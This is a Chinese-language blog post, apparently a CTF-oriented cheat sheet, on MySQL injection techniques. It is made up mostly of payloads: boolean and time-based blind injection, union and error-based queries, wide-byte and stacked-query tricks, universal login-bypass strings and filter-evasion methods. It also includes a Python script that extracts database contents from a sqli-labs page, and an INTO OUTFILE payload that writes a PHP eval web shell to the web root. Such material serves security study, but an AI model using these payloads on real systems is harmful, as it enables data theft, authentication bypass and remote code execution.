mysql 注入类型_sql多种注入类型介绍

sql注入基础

注入常见参数

user():当前数据库用户

database():当前数据库名

version():当前使用的数据库版本

@@datadir:数据库存储数据路径

concat():联合数据,用于联合两条数据结果。如 concat(username,0x3a,password)

group_concat():和 concat() 类似,如 group_concat(DISTINCT+user,0x3a,password),用于把多条数据一次注入出来

concat_ws():用法类似

hex() 和 unhex():用于 hex 编码解码

load_file():以文本方式读取文件,在 Windows 中,路径设置为 \\

select xxoo into outfile '路径':权限较高时可直接写文件

基于布尔的盲注

因为web的页面返回值都是True或者False,所以布尔盲注就是注入后根据页面返回值来得到数据库信息的一种办法。

bools注入查询语句

id=1' and length(database())=8--+

#判断数据库长度 看回显

id=1' and left(database(),1)="s"--+

#用left函数判断表名的左边第一位

id=1' and ascii(substr((select group_concat(table_name)from information_schema.tables where table_schema=database()limit 0,1),1,1))>80--+

#猜ascii字 判断表名

基于二分法爆破bools盲注脚本

import requests

url = "http://localhost/sqli-labs-master/Less-5/?id="

flag = ''

for i in range(1,200):

low = 32

high = 127

while low < high:

mid = (low+high)//2

payload1 = "1' and ascii(substr((select database() limit 0,1),{},1))>{}--+".format(i,mid)#security

payload2 = "1' and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))>{}--+".format(i,mid)#emails,referers,uagents,users

payload3 = "1' and ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='users'),{},1))>{}--+".format(i,mid)

# emails:id,email_id ,referers:id,referer,ip_address,uagents:id,uagent,ip_address,username ,users:id,username,password,username,passwd,sex,age,email,phone,id

payload4 = "1' and ascii(substr((select group_concat(email_id) from security.emails ),{},1))>{}--+".format(i,mid)

r = requests.get(url=url+payload1)

# print(payload1)

# print(r.text)

if 'You are in' in r.text:

low = mid + 1

else:

high = mid

# print(low,mid,high)

flag += chr(low)

print(flag)

基于时间的盲注

当布尔型注入没有结果(页面显示正常)的时候,我们很难判断注入的代码是否被执行,也可以说到底这个注入点存不存在?这个时候布尔型注入就无法发挥自己的作用了。基于时间的盲注便应运而生,所谓基于时间的盲注,就是我们根据web页面相应的时间差来判断该页面是否存在SQL注入点。

时间盲注

常用的判断语句:

' and if(1=0,1, sleep(10)) --+

" and if(1=0,1, sleep(10)) --+

) and if(1=0,1, sleep(10)) --+

') and if(1=0,1, sleep(10)) --+

") and if(1=0,1, sleep(10)) --+

#判断数据库长度

id=1' and if((length(database())>5),sleep(5),0)--+

#爆数据库

id=1‘ and if(ascii(substr(database(),1,1))=115,1,sleep(5))--+

联合查询注入

使用联合查询进行注入的前提是我们要进行注入的页面必须有显示位。所谓联合查询注入即是使用union合并两个或多个SELECT语句的结果集,所以两个及以上的select必须有相同列、且各列的数据类型也都相同。联合查询注入可在链接最后添加order by 9基于随意数字的注入,根据页面的返回结果来判断站点中的字段数目

联合查询语句

id=-1' union select 1,2,3.....

#返回页面正确确定列

id=-1' union select 1,2,database()

#爆数据库

id=-1' union select 1,2,group_concat(table_name)from information_schema.tables where table_schema=’security‘--+

#爆表名

id=-1' union select 1,2,group_concat(column_name)from information_schema.columns where table_name='uagents'--+

#爆列名

id=-1' union select 1,2 group_concat(id) from security.uagents--+

报错注入

此方法是在页面没有显示位,但是echo mysql_error();函数输出了错误信息的时候方能使用。优点是注入速度快,缺点是语句较为复杂,而且只能用limit依次进行猜解。总体来说,报错注入其实是一种公式化的注入方法,主要用于在页面中没有显示位,但是用echo mysql_error();输出了错误信息时使用。

公式

and (select 1 from (select count(*),concat(user(),floor(rand(0)*2)x from information_schema.tables group by x)a));

or updatexml(1,concat(0x7e,(version())),0)//最大长度是32位

and extractvalue(1,concat(0x7e,(select database())))

and exp(~(select * from (select user())a));

and updatexml(1,substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,4

二次注入

二次注入需要具备的两个条件:

(1)用户向数据库插入恶意语句(即使后端代码对语句进行了转义,如mysql_escape_string、mysql_real_escape_string转义)

(2)数据库对自己存储的数据非常放心,直接取出恶意数据给用户

用这样的payload将数据带出来

0'^(select hex(hex(substr((select * from flag) from {i} for 1))))^'0

两次hex是为了将第一次hex中的字母变成数字,substr是因为如果hex的值太大,sql会变成科学计数法,丢失精度

宽字节注入

原理:GBK编码、URL转码

利用mysql的一个特性,mysql在使用GBK编码的时候,会认为两个字符是一个汉字(前一个ASCII码要大于128,才到汉字的范围)

例如:' -> ' -> %5C%27

%df' -> %df' -> %df%5C%27

sql字符集特性

MYSQL 中 utf8_unicode_ci 和 utf8_general_ci 两种编码格式, utf8_general_ci不区分大小写, Ä = A, Ö = O, Ü = U 这三种条件都成立, 对于utf8_general_ci下面的等式成立:ß = s ,但是,对于utf8_unicode_ci下面等式才成立:ß = ss 。

可以看到大写O和Ö是相等的

SQL注入常用URL编码

空格 %20

' %27

# %23

\ %5C

php-addslashes函数:在特殊字符前加上反斜线\来转义

如何从addslashes函数逃逸?

\前面再加一个\,变成\\',这样\就被转义了

把\弄没

表名或列名可以使用16进制转码来实现

例如:ctf -> 0x637466

sqlmap中加参数--hex

order by 后的注入

order by 由于是排序语句,所以可以利用条件语句做判断,根据返回的排序结果不同判断条件的真假。一般带有 order 或者 order by 的变量很可能是这种注入,在知道一个字段的时候可以采用如下方式注入:

原始链接:http://www.test.com/list.php?order=vote

根据 vote 字段排序。找到投票数最大的票数 num 然后构造以下链接:

http://www.test.com/list.php?order=abs(vote-(length(user())>0)*num)+asc

看排序是否变化。还有一种方法不需要知道任何字段信息,使用 rand 函数:

http://www.test.com/list.php?order=rand(true)

http://www.test.com/list.php?order=rand(false)

以上两个会返回不同的排序,判断表名中第一个字符是否小于 128 的语句如下:

http://www.test.com/list.php?order=rand((select char(substring(table_name,1,1)) from information_schema.tables limit 1)<=128))

堆叠查询注入

原理:利用;结束语句并插入自己的sql语句

适用:

Mysql、SqlServer、Postgresql(Oracle不行)

只有当调用数据库函数支持执行多条sql语句时才能够使用,例如mysqli_multi_query()函数就支持多条sql语句同时执行

PDO默认支持多语句查询,如果php版本小于5.5.21或者创建PDO实例时未设置PDO::MYSQL_ATTR_MULTI_STATEMENTS为false时可能会造成堆叠注入

例子

利用存储过程绕过select过滤

http://web16.buuoj.cn/? inject=1%27;SeT@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare%20execsql%20from%20@a;execute%20execsql;#

使用了大小写绕过strstr($inject, "set") && strstr($inject, "prepare")

去掉URL编码后

?inject=1';SeT@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsq

文件读写注入

select @@secure_file_priv

secure_file_priv

1、限制mysqld 不允许导入 | 导出

--secure_file_prive=null

2、限制mysqld 的导入 | 导出 只能发生在/tmp/目录下

--secure_file_priv=/tmp/

3、不对mysqld 的导入 | 导出做限制

--secure_file_priv=

load_file读文件

写文件

select 0x3C3F706870206576616C28245F524551554553545B2761275D293B203F3E into outfile '/var/www/html/1.php'

# <?php eval($_REQUEST['a']); ?>

万能密码

select * from admin where username = '' and password = ''

username

password

admin'#

'+'

'+'

aaa'='

aaa'='

1\

'^'1

'%1#

'=0#

' or 1=1--

' or 1=1#

') or ('1'='1--

SQL常用绕过技巧

空格

/**/

=

like

regexp

!(<>)

'

转义符\

16进制(例如:ctf -> 0x637466)

union注入使用join,例如3' union select * from (select 1) a join (select 2 ) b %23

substr from for

if->case when

绕过字符串黑名单

SELECT 'a' 'd' 'mi' 'n';

SELECT CONCAT('a', 'd', 'm', 'i', 'n');

SELECT CONCAT_WS('', 'a', 'd', 'm', 'i', 'n');

SELECT GROUP_CONCAT('a', 'd', 'm', 'i', 'n');

绕过引号限制

-- hex 编码

SELECT * FROM Users WHERE username = 0x61646D696E

-- char() 函数

SELECT * FROM Users WHERE username = CHAR(97, 100, 109, 105, 110)

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值